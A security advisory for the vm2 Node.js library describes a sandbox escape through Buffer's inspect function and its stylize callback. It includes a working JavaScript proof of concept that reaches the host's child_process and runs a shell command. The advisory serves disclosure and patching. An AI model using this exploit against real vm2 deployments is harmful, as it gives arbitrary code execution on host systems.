GHSA-v37h-5mfm-c47c
VM2 Has Sandbox Breakout Through Inspect Function
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
### PoC
```js
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```
### Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
- https://nvd.nist.gov/vuln/detail/CVE-2026-24781
- https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189
- https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c
- https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228
- https://access.redhat.com/errata/RHSA-2026:26234
- https://access.redhat.com/errata/RHSA-2026:36754
- https://access.redhat.com/security/cve/CVE-2026-24781
- https://bugzilla.redhat.com/show_bug.cgi?id=2466531
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24781.json